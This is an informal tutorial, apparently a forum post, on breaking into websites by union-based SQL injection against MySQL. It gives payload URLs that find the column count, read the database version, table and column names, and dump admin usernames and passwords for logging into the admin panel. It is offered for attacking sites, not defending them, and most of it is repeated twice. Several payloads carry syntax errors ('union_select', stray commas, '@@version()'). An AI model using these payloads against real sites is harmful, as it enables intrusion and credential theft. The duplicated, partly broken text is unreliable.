Ok in this tutorial I will show you how to hack a website with a MySQL Error ok lets follow this steps and you will get your
destiantion.
1. Check if your target is vulnverable.
http://www.target.com/id=2 //no error
http://www.target.com/id=2# //error or something is missing-> Website is vulnverable
2.column
http://www.target.com/id=2 order by 1 (no error)
http://www.target.com/id=2 order by 2 (no error)
http://www.target.com/id=2 order by 3 (no error)
http://www.target.com/id=2 order by 4 (no error)
http://www.target.com/id=2 order by 5 (errror) --> website has 4 columns if this method dosnt work use oder by 1--
3. Most vunlverable
http://www.target.com/id=2 union select 1, 2, 3, 4 --> if this methode dosnt work use
http://www.target.com/id=2 and 1=2 union select 1, 2, 3, 4--
4. Getting version
http://www.target.com/id=2 union select 1, 2,@@version(),4--
5. Geting Table name
http://www.target.com/id=2 union select 1, 2,group_concat(table_name), 4 from information_schema.tables where table_schema=database()--
6. Getting column
http://www.target.com/id=2 union select 1, 2, GROUP_CONCAT (column_name) ,4, FROM information_schema.columns WHERE table_name=mysqlchar--
now we got the Column names. lets use them
http://www.target.com/id=2 union_select 1, 2, group_concat(admin_id,0x3a,admin_password),4 from admin--
Ok now he have the Adminname and the adminpassword
Now you only have to search the admin login panel and to login.
you can use Acunetix Scanner or Havij to get it
destiantion.
1. Check if your target is vulnverable.
http://www.target.com/id=2 //no error
http://www.target.com/id=2# //error or something is missing-> Website is vulnverable
2.column
http://www.target.com/id=2 order by 1 (no error)
http://www.target.com/id=2 order by 2 (no error)
http://www.target.com/id=2 order by 3 (no error)
http://www.target.com/id=2 order by 4 (no error)
http://www.target.com/id=2 order by 5 (errror) --> website has 4 columns if this method dosnt work use oder by 1--
3. Most vunlverable
http://www.target.com/id=2 union select 1, 2, 3, 4 --> if this methode dosnt work use
http://www.target.com/id=2 and 1=2 union select 1, 2, 3, 4--
4. Getting version
http://www.target.com/id=2 union select 1, 2,@@version(),4--
5. Geting Table name
http://www.target.com/id=2 union select 1, 2,group_concat(table_name), 4 from information_schema.tables where table_schema=database()--
6. Getting column
http://www.target.com/id=2 union select 1, 2, GROUP_CONCAT (column_name) ,4, FROM information_schema.columns WHERE table_name=mysqlchar--
now we got the Column names. lets use them
http://www.target.com/id=2 union_select 1, 2, group_concat(admin_id,0x3a,admin_password),4 from admin--
Ok now he have the Adminname and the adminpassword
Now you only have to search the admin login panel and to login.
you can use Acunetix Scanner or Havij to get it